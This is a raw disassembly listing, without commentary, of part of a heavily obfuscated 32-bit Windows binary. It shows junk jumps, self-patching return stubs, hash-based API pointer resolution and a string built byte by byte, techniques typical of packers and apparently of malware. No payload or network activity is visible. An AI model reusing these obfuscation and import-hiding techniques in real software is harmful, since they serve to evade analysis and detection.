		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		call	sub_44B5E4
		mov	eax, 22143682h
		call	sub_43BF6F
		mov	ds:dword_41E16C, eax
		jmp	loc_438AAC
; ---------------------------------------------------------------------------

loc_438915:				; CODE XREF: kgbikm34:00447890j
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		call	sub_4383B9
; START	OF FUNCTION CHUNK FOR sub_44527A

loc_438920:				; CODE XREF: sub_44527A+8C39j
		jmp	loc_44331B
; END OF FUNCTION CHUNK	FOR sub_44527A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_438925:				; CODE XREF: sub_445F1B-A485j
		jmp	loc_440539
; END OF FUNCTION CHUNK	FOR sub_445F1B

; =============== S U B	R O U T	I N E =======================================



sub_43892A	proc near		; DATA XREF: kgbikm34:0043E8F3o

; FUNCTION CHUNK AT 00445E94 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		push	eax
		mov	edx, eax
		jmp	loc_445E94
sub_43892A	endp

; ---------------------------------------------------------------------------

loc_438935:				; CODE XREF: kgbikm34:0043C449j
		push	333A19CCh
		pop	edx
		and	edx, 0DC160BB5h
		rol	edx, 10h
		jmp	loc_43F495
; ---------------------------------------------------------------------------
		jge	loc_44D45A
		jmp	loc_441E4F
; ---------------------------------------------------------------------------
		mov	ds:off_41E080, eax
		lea	eax, loc_449A5B
		mov	byte ptr [eax],	0C3h
		jmp	loc_449A5B

; =============== S U B	R O U T	I N E =======================================



sub_438968	proc near		; CODE XREF: sub_404954+33Dp
					; sub_438968+5j
					; DATA XREF: ...
		call	sub_438978
		jmp	ds:off_41E084
sub_438968	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_438973:				; CODE XREF: sub_4471A4-75BDj
		jmp	loc_43DE56
; END OF FUNCTION CHUNK	FOR sub_4471A4

; =============== S U B	R O U T	I N E =======================================



sub_438978	proc near		; CODE XREF: sub_44C41B:loc_4378C1j
					; sub_438968p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004386D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D258 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E371 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004412F6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00444776 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446811 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BB3C SIZE 00000014 BYTES

		jz	loc_43D258
		jmp	loc_446811
sub_438978	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_438984:				; CODE XREF: sub_43D045+E6FDj
		jmp	loc_442D0D
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

loc_438989:				; CODE XREF: kgbikm34:00441965j
		jmp	locret_439BB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43730F

loc_43898E:				; CODE XREF: sub_43730F+Aj
		jmp	loc_444944
; END OF FUNCTION CHUNK	FOR sub_43730F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_438993:				; CODE XREF: sub_439A2E:loc_43CB50j
		xor	esi, 0B0522F53h
		or	esi, ds:4000FBh
		add	esi, 2093594Bh
		xchg	esi, [esp+0]
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------

loc_4389AD:				; CODE XREF: kgbikm34:loc_43C8F2j
		add	ecx, 0FEFAD545h
		mov	[ecx], eax
		push	offset loc_43F7A9
		jmp	loc_44B239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_4389BF:				; CODE XREF: sub_446F45:loc_43794Fj
		or	eax, 0EEC5F61Ah
		xor	eax, 0F7283F7Dh
		call	sub_43BF6F
		call	sub_44D485

loc_4389D5:				; CODE XREF: kgbikm34:0043CA6Aj
		jmp	nullsub_289
; END OF FUNCTION CHUNK	FOR sub_446F45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_4389DA:				; CODE XREF: sub_44DAF3:loc_440611j
		mov	byte ptr [eax],	0C3h
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4389DD:				; CODE XREF: sub_43C2DA-3DDBj
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
		call	nullsub_325
		jmp	ds:dword_41E16C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_4389ED:				; CODE XREF: sub_440380+89j
		jmp	loc_441D16
; END OF FUNCTION CHUNK	FOR sub_440380
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_325. PRESS KEYPAD	"+" TO EXPAND]
		dd offset loc_44C7B4
; ---------------------------------------------------------------------------
		jmp	loc_438FAD
; ---------------------------------------------------------------------------

loc_4389FC:				; CODE XREF: kgbikm34:loc_44CF2Bj
					; kgbikm34:0044CF39j
		add	esi, 60DFB461h
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_6
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_438A13:				; CODE XREF: sub_4471D6:loc_43EAE9j
		jz	loc_438D04
; END OF FUNCTION CHUNK	FOR sub_4471D6
; START	OF FUNCTION CHUNK FOR sub_4456B7

loc_438A19:				; CODE XREF: sub_4456B7+9j
		jmp	loc_44D61B
; END OF FUNCTION CHUNK	FOR sub_4456B7
; ---------------------------------------------------------------------------

loc_438A1E:				; CODE XREF: kgbikm34:loc_443178j
		jmp	locret_442923
; ---------------------------------------------------------------------------
		xchg	edi, [ebx]
		jg	loc_43842C
		test	ecx, esi
		jmp	loc_438CF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_438A32:				; CODE XREF: sub_43C55C+8120j
		cmp	dword ptr [ebp-14h], 4
		call	sub_43CFA5

loc_438A3B:				; CODE XREF: sub_4446A9+CAFj
		jmp	loc_447DF1
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_438A40:				; CODE XREF: sub_441D2F-43Dj
		jmp	loc_44C8F8
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_438A45:				; CODE XREF: sub_43ACD5+3j
		jmp	loc_43E75C
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_438A4A:				; CODE XREF: sub_43CFA5:loc_444E65j
		push	offset loc_44C9B3
		jmp	loc_447C65
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_438A54:				; CODE XREF: sub_448291-375j
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		jmp	loc_43D7EA
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------

loc_438A6E:				; CODE XREF: kgbikm34:00445E24j
		xor	edi, 490BC11Dh
		add	eax, edi
		pop	edi
		ror	eax, 3
		jmp	loc_4391F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_438A7F:				; CODE XREF: sub_439F72:loc_44808Bj
		jz	loc_4407CC
		jmp	loc_444E74
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E49F

loc_438A8A:				; CODE XREF: sub_43E49F+1DF7j
		xor	ebx, 0E4636370h
		xor	eax, ebx
		call	sub_449804
; END OF FUNCTION CHUNK	FOR sub_43E49F
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_438A97:				; CODE XREF: sub_447DA2j
		mov	eax, [esp+0]
		push	edx
		push	edx
		push	0D9C3DDB5h
		jmp	loc_43772F
; END OF FUNCTION CHUNK	FOR sub_447DA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_438AA7:				; CODE XREF: kgbikm34:0044DF12j
		jmp	loc_44835E
; ---------------------------------------------------------------------------

loc_438AAC:				; CODE XREF: kgbikm34:00438910j
		lea	eax, nullsub_325
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_325
; ---------------------------------------------------------------------------

loc_438ABA:				; CODE XREF: kgbikm34:0044C7BAj
		call	sub_447B4A
; START	OF FUNCTION CHUNK FOR sub_44905C

loc_438ABF:				; CODE XREF: sub_44905C+12j
		jmp	loc_44D991
; END OF FUNCTION CHUNK	FOR sub_44905C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441353

loc_438AC4:				; CODE XREF: sub_441353+2E05j
		jmp	loc_439315
; END OF FUNCTION CHUNK	FOR sub_441353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_438AC9:				; CODE XREF: sub_439587+700Ej
		jmp	loc_449C6C
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_438ACE	proc near		; CODE XREF: kgbikm34:004406C8j
					; sub_444864+Ap

; FUNCTION CHUNK AT 00439838 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441C84 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442BA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004430A0 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		sub	al, 99h
		push	0AA44D3A8h
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jmp	loc_441C84
sub_438ACE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	ecx, 4
		jmp	loc_4499D6
; ---------------------------------------------------------------------------
		xchg	eax, [esi]
		jnb	loc_43948C
		jmp	sub_4431B6
; ---------------------------------------------------------------------------

loc_438AF9:				; CODE XREF: kgbikm34:0043BA45j
		mov	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_438AFB	proc near		; CODE XREF: kgbikm34:00445B24p

; FUNCTION CHUNK AT 0043EF2B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043F0B9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esi, 20E175C5h
		jmp	loc_43F0B9
sub_438AFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_438B0A:				; CODE XREF: kgbikm34:loc_44DCBBj
		jmp	ds:dword_41E13C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jns	loc_445201
		mov	eax, [esp]
		push	ebx
		jmp	loc_43F5B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_438B20:				; CODE XREF: sub_43D494:loc_43789Cj
		call	sub_445D55
		mov	eax, 5AB1337Ah
		call	sub_43BF6F

loc_438B2F:				; CODE XREF: kgbikm34:loc_448673j
		mov	ds:dword_41E18C, eax
		lea	eax, nullsub_8
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_8
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		call	nullsub_4
		jmp	ds:dword_41E190
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_438B4E:				; CODE XREF: sub_43B0B7-2450j
		jmp	loc_43C708
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		ror	eax, 4
		jmp	sub_44C2D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBED

loc_438B5B:				; CODE XREF: sub_44BBED:loc_43E23Cj
		jmp	ds:off_41E014
; END OF FUNCTION CHUNK	FOR sub_44BBED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE0

loc_438B61:				; CODE XREF: sub_447EE0+53EBj
		jmp	loc_438872
; END OF FUNCTION CHUNK	FOR sub_447EE0
; ---------------------------------------------------------------------------

loc_438B66:				; CODE XREF: kgbikm34:00443918j
		jmp	loc_4401CA

; =============== S U B	R O U T	I N E =======================================



sub_438B6B	proc near		; CODE XREF: kgbikm34:loc_439F18j
					; kgbikm34:004483F6j ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004378F3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AB1D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C00B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C782 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043CC95 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DDD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004408AC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004427FF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442FA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044357A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447003 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004476DB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447CB4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004483FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448455 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004486B4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004487C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A128 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C1B2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CE7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD24 SIZE 00000005 BYTES

		jb	loc_4483FB
		push	offset loc_43881C
		jmp	nullsub_23
sub_438B6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_438B7B:				; CODE XREF: sub_440F78+1Aj
		lea	eax, loc_44CD8E
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CD8E
; END OF FUNCTION CHUNK	FOR sub_440F78

; =============== S U B	R O U T	I N E =======================================



sub_438B89	proc near		; CODE XREF: sub_40158F+16Fp
					; sub_438B89+5j
					; DATA XREF: ...
		call	sub_438B99
		jmp	ds:off_41E044
sub_438B89	endp

; ---------------------------------------------------------------------------

loc_438B94:				; CODE XREF: kgbikm34:0044958Fj
		jmp	locret_4371A0

; =============== S U B	R O U T	I N E =======================================



sub_438B99	proc near		; CODE XREF: sub_438B89p
					; kgbikm34:loc_440B63j	...

; FUNCTION CHUNK AT 004374C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C249 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D3FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F025 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447D20 SIZE 0000000B BYTES

		js	loc_43F025
		xchg	ebx, [esp+0]
		mov	edx, ebx
		jmp	loc_4374C7
sub_438B99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_438BA9:				; CODE XREF: sub_43DC42:loc_43E4FCj
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_44BA42
		jmp	loc_44D948
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_438BB9:				; CODE XREF: sub_439587+105F7j
		and	edi, 3B5357B0h
		or	edi, 6995BCB7h
		sub	edi, 0F6BE083Bh
		and	edi, 406CE0ADh
		add	edi, 0FFFFA739h
		xchg	edi, [esp+0]
		jmp	loc_44A0CA
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE05

loc_438BDF:				; CODE XREF: sub_43EE05:loc_44DD34j
		xor	edx, 0C032C87Bh
		add	edx, 411CA7E3h
; END OF FUNCTION CHUNK	FOR sub_43EE05
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_438BEB:				; CODE XREF: sub_43741E:loc_4424B6j
		mov	[edx], eax
		pop	edx
		lea	eax, sub_4440CD
		mov	byte ptr [eax],	0C3h
		jmp	sub_4440CD
; END OF FUNCTION CHUNK	FOR sub_43741E

; =============== S U B	R O U T	I N E =======================================



sub_438BFC	proc near		; DATA XREF: .data:off_425E6Co

; FUNCTION CHUNK AT 00443A08 SIZE 00000005 BYTES

		push	edx
		push	offset loc_444EC4
		jmp	loc_443A08
sub_438BFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_438C07:				; CODE XREF: sub_437A6A:loc_43CAB0j
		pop	edi
		sub	edi, ds:4000F4h
		and	edi, 0D5890ABBh
		xor	edi, 0D6D3AD75h
		add	edi, 2CF02220h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44570F
; END OF FUNCTION CHUNK	FOR sub_437A6A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_438C29:				; CODE XREF: kgbikm34:00440A7Cj
		jmp	sub_43CAB5
; ---------------------------------------------------------------------------

loc_438C2E:				; CODE XREF: kgbikm34:004397AEj
		jmp	sub_44627C

; =============== S U B	R O U T	I N E =======================================



sub_438C33	proc near		; CODE XREF: kgbikm34:loc_43D704p
					; kgbikm34:0043DDB2j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004427F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D0C4 SIZE 0000000C BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	32AE86F7h
		xchg	ebp, [esp+4+var_4]
		mov	edi, ebp
		jmp	loc_4427F0
sub_438C33	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_438C47:				; CODE XREF: sub_43B0B7+1088Ej
		and	eax, 75BA066h
		sub	eax, 84259BC6h
		or	eax, 122ECE7Dh
		add	eax, 22B139D9h
		add	eax, ebp
		add	eax, 4A4FF726h
		jmp	loc_438B4E
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_438C6C:				; CODE XREF: sub_441D2F:loc_447040j
		pop	edx
		push	ecx
		pushf
		push	offset loc_444DF6
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_438C79:				; CODE XREF: sub_43E58D+E9C0j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_341
; END OF FUNCTION CHUNK	FOR sub_43E58D
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		jmp	loc_4487A0
; ---------------------------------------------------------------------------
		cmp	ebp, edi
		jmp	loc_4397F3

; =============== S U B	R O U T	I N E =======================================



sub_438C9C	proc near		; CODE XREF: sub_4471D6-FD6Ej
					; sub_440116+3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044209D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E7C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445F7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446F40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AC30 SIZE 0000001A BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		push	4967A7BFh
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		jmp	loc_44209D
sub_438C9C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_438CB3:				; CODE XREF: sub_44B20C-74BFj
		rol	eax, 11h
		jmp	loc_44687F
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_438CBB:				; CODE XREF: sub_439587+1151Cj
		jl	loc_4444F2
		jmp	loc_43D784
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F45

loc_438CC6:				; CODE XREF: sub_446F45:loc_44064Aj
		mov	eax, [esp+0]
		push	edx
		call	sub_44B20C
		push	0F72B4444h
		pop	eax
		rol	eax, 17h
		and	eax, 3907F395h
		add	eax, 207E63D4h
		jmp	loc_43794F
; END OF FUNCTION CHUNK	FOR sub_446F45

; =============== S U B	R O U T	I N E =======================================



sub_438CE9	proc near		; DATA XREF: sub_444267-9A49o

arg_0		= dword	ptr  4

		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_43BF6F
sub_438CE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_438CF2:				; CODE XREF: kgbikm34:00438A2Dj
		jno	loc_44C712
		sub	ebx, 0BD6CF2Eh
		jo	loc_448C3C
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_438D04:				; CODE XREF: sub_4471D6:loc_438A13j
		and	edi, 4439B084h
		add	edi, 3A6FF0h
		xchg	edi, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

locret_438D18:				; CODE XREF: kgbikm34:0044B305j
		retn
; ---------------------------------------------------------------------------
		popf
		jmp	loc_44A9ED
; ---------------------------------------------------------------------------

loc_438D1F:				; DATA XREF: sub_442B15-305Eo
		push	0E9B46B3Ch
		pop	edx
		xor	edx, 1F8322B0h
		test	edx, 20000000h
		jmp	loc_43EC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_438D36:				; CODE XREF: sub_4429A6+11j
		or	eax, eax
		jmp	loc_43C027
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
		push	0F9A99DAEh
		pop	edx
		sub	edx, 0FF82404h
		cmp	edx, 1F7EFFB9h
		jmp	loc_443780
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_438D54:				; CODE XREF: sub_44B20C-BA0Dj
		add	eax, ebp
		add	eax, 0E5B5D995h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43EB8C
		jmp	loc_43C7A2
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_438D6C:				; CODE XREF: sub_44A80D:loc_44D5C4j
		sub	edx, 7FD5B136h
		jb	loc_44A8BD

loc_438D78:				; CODE XREF: kgbikm34:00448020j
		jmp	loc_448718
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
		jl	loc_447F2C
		pop	eax
		jmp	loc_44A8BD
; ---------------------------------------------------------------------------

loc_438D89:				; DATA XREF: sub_440443:loc_445B9Eo
		add	edx, 99BC2438h
		mov	[edx], eax
		push	offset loc_44B5AA
		jmp	loc_449DA4
; ---------------------------------------------------------------------------

loc_438D9B:				; CODE XREF: kgbikm34:0043C741j
		or	esi, 0C2DAA0A4h
		rol	esi, 0Dh
		add	esi, 0AD2B617Ah
		cmp	esi, 4A569936h
		jmp	loc_445F01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D21A

loc_438DB5:				; CODE XREF: sub_43D21A:loc_446C74j
		mov	edx, eax
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	edx
		push	offset sub_44283A
		jmp	loc_440377
; END OF FUNCTION CHUNK	FOR sub_43D21A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_438DC6:				; CODE XREF: sub_440443+B52Ej
		pushf
		jmp	loc_449B4E
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
		rol	eax, 14h
		jmp	sub_449405
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_438DD5:				; CODE XREF: sub_447FC7+14j
		jmp	loc_444820
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_438DDA:				; CODE XREF: sub_44A1A6-E585j
		jmp	loc_4495B5
; END OF FUNCTION CHUNK	FOR sub_44A1A6

; =============== S U B	R O U T	I N E =======================================



sub_438DDF	proc near		; CODE XREF: sub_43B5BAp
					; kgbikm34:00444D3Aj

; FUNCTION CHUNK AT 0044A6CB SIZE 00000006 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		jmp	loc_44A6CB
sub_438DDF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_438DEF:				; CODE XREF: sub_43B0B7:loc_4446EBj
		adc	esi, edx
		adc	edi, ebx
		adc	edi, 0B089C697h
		mov	eax, esi
		sub	ecx, edi
		jmp	loc_446615
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_438E02:				; CODE XREF: sub_43FF32:loc_4459E8j
		test	edx, ebp
		jmp	loc_4455CF
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_438E09:				; CODE XREF: sub_43CAB5+3FD7j
		mov	ebp, esi
		xchg	ebp, [esp+4+var_4]
		push	0A015BA5h
		xchg	edi, [esp+8+var_8]
		mov	esi, edi
		pop	edi
		sub	esi, 1346B23Bh
		add	esi, 989DDFEh
		jmp	loc_43A520
; END OF FUNCTION CHUNK	FOR sub_43CAB5

; =============== S U B	R O U T	I N E =======================================



sub_438E2A	proc near		; DATA XREF: kgbikm34:0043ACE5o
		call	nullsub_184
		jmp	ds:dword_41E14C
sub_438E2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_43E945
; ---------------------------------------------------------------------------

loc_438E3A:				; CODE XREF: kgbikm34:0044AA86j
		jmp	loc_442575
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
		dd 0A6FD84h, 243C8700h,	0E95FD78Bh, 1BCDh
; ---------------------------------------------------------------------------

locret_438E50:				; CODE XREF: kgbikm34:0044C8A0j
		retn
; ---------------------------------------------------------------------------
		db 55h,	22h, 10h
dword_438E54	dd 0			; DATA XREF: kgbikm34:0044C894w
					; kgbikm34:0044D017r
dword_438E58	dd 17525053h, 0C61B8Ch	; DATA XREF: sub_4394EB+8Fo
					; kgbikm34:0043FB5Bo
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_438E60:				; CODE XREF: sub_43DC42-63EEj
		jmp	loc_448DC0
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
		jo	loc_4465D7
		call	sub_43F252
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_438E71:				; CODE XREF: sub_439587+3EC5j
		cdq
		cmp	esi, 85F8EDF7h
		jmp	loc_44A398
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_438E7D	proc near		; CODE XREF: kgbikm34:00443220j
					; kgbikm34:0044D698p
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_439CA3
sub_438E7D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_438E89:				; CODE XREF: sub_445F1B-C277j
		mov	eax, [esp+0]
		push	edx
		jmp	loc_440797
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_438E92:				; CODE XREF: sub_43F5F7-2DACj
		jz	loc_43988C

loc_438E98:				; CODE XREF: sub_43F5F7:loc_443D52j
		xor	eax, 0FDB4AEEBh
		call	sub_43BF6F
		mov	ds:off_41E128, eax
		lea	eax, sub_43F5F7
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D13C
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
		jnz	loc_4443AC
		jmp	sub_443977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

